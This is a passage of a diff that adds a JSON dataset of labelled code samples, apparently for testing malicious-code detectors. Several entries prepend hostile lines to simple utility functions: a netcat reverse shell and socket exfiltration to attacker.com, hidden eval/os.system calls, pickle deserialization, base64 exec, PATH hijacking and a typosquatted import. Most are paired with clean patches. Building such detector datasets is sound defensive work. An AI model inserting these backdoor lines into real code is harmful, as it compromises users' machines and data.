render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_e725ad6d", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_da0a3ebe", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_be6a99de", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_215bbc96", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_65e4b55b", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_d8e581e1", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_34574c2c", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_408addd1", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1ca1e17e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_9beadf10", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d23de0ba", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_a908f964", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_e0743e67", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_68b833ed", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2558c2a2", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_655273bc", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a78d2c7e", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_0a4ed7fb", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_545967bf", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_d30da843", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_60d57cd3", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_1a0db927", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_33af9a95", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_9482009f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_221b1b29", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_bfa9b2ff", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_23858f1e", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_41e47087", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1e1d40e9", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_da6424da", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_154f70f9", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1aa23b14", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d0b1e7b7", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7fa3b5ef", + "type": "true_positive", + "code_snippet": "import pythonn\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_f632b1f8", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_5683e019", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_b07433ff", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_f280dd4a", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_d164cdf9", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_861bee8f", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_231bab9b", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_c023d5c2", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_ef1dd854", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_96917a2d", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_3c3d104c", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_429d95b7", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary 